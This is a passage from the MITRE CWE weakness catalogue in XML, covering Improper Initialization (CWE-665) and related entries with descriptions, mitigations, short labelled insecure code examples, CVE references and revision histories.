               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-05-27">Insufficient Control of a Resource Through its Lifetime</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="665" Name="Improper Initialization" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.</Description>
         <Extended_Description>This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This weakness can occur in code paths that are not well-tested, such as rare error conditions. This is because the use of uninitialized data would be noticed as a bug during frequently-used functionality.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Read Application Data</Impact>
               <Note>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</xhtml:p>
                  <xhtml:p>Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</xhtml:p>
               </Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-12">
               <Method>Manual Dynamic Analysis</Method>
               <Description>Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.</Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid race conditions (CWE-362) during initialization routines.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Description>Run or compile your product with settings that generate warnings about uninitialized variables or data.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-105">
               <Intro_Text>Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private boolean initialized = true;<xhtml:br/>public void someMethod() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (!initialized) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// perform initialization tasks</xhtml:i>
                                 <xhtml:br/>...<xhtml:br/>
                                 <xhtml:br/>initialized = true;</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-54">
               <Intro_Text>The following code intends to limit certain operations to the administrator only.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$username = GetCurrentUser();<xhtml:br/>$state = GetStateData($username);<xhtml:br/>if (defined($state)) {<xhtml:div style="margin-left:1em;">$uid = ExtractUserID($state);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># do stuff</xhtml:i>
                     <xhtml:br/>if ($uid == 0) {<xhtml:div style="margin-left:1em;">DoAdminThings();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-106">
               <Intro_Text>The following code intends to concatenate a string to a variable and print the string.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char str[20];<xhtml:br/>strcat(str, "hello world");<xhtml:br/>printf("%s", str);</xhtml:div>
               </Example_Code>
               <Body_Text>This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.</Body_Text>
               <Body_Text>If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.</Body_Text>
               <Body_Text>If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1471</Reference>
               <Description>chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1471</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3637</Reference>
               <Description>Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3637</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4197</Reference>
               <Description>Use of uninitialized memory may allow code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4197</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2934</Reference>
               <Description>Free of an uninitialized pointer leads to crash and possible code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2934</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3749</Reference>
               <Description>OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3749</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0063</Reference>
               <Description>Product does not clear memory contents when generating an error message, leading to information leak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0063</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0062</Reference>
               <Description>Lack of initialization triggers NULL pointer dereference or double-free.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0062</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0081</Reference>
               <Description>Uninitialized variable leads to code execution in popular desktop application.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0081</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3688</Reference>
               <Description>chain: Uninitialized variable leads to infinite loop.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3688</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3475</Reference>
               <Description>chain: Improper initialization leads to memory corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3475</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5021</Reference>
               <Description>Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5021</Link>
            </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2005-1036</Reference>
	     <Description>Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2005-1036</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3597</Reference>
               <Description>chain: game server can access player data structures before initialization has happened leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3597</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2692</Reference>
               <Description>chain: uninitialized function pointers can be dereferenced allowing code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2692</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0949</Reference>
               <Description>chain: improper initialization of memory can lead to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0949</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3620</Reference>
               <Description>chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3620</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Incorrect initialization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR02-C</Entry_ID>
               <Entry_Name>Explicitly specify array bounds, even if implicitly defined by an initializer</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>DCL00-J</Entry_ID>
               <Entry_Name>Prevent class initialization cycles</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-436"/>
            <Reference External_Reference_ID="REF-437"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Variable Initialization&#34;, Page 312"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Incorrect or Incomplete Initialization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="666" Name="Operation on Resource in Wrong Phase of Lifetime" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.</Description>
         <Extended_Description>A resource's lifecycle includes several phases: initialization, use, and release. For each phase, it is important to follow the specifications outlined for how to operate on the resource and to ensure that the resource is in the expected phase. Otherwise, if a resource is in one phase but the operation is not valid for that phase (i.e., an incorrect phase of the resource's lifetime), then this can produce resultant weaknesses. For example, using a resource before it has been fully initialized could cause corruption or incorrect data to be used.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Follow the resource's lifecycle from creation to release.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO46-C</Entry_ID>
               <Entry_Name>Do not access a closed file</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM30-C</Entry_ID>
               <Entry_Name>Do not access freed memory</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="667" Name="Improper Locking" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.</Description>
	 <Extended_Description>
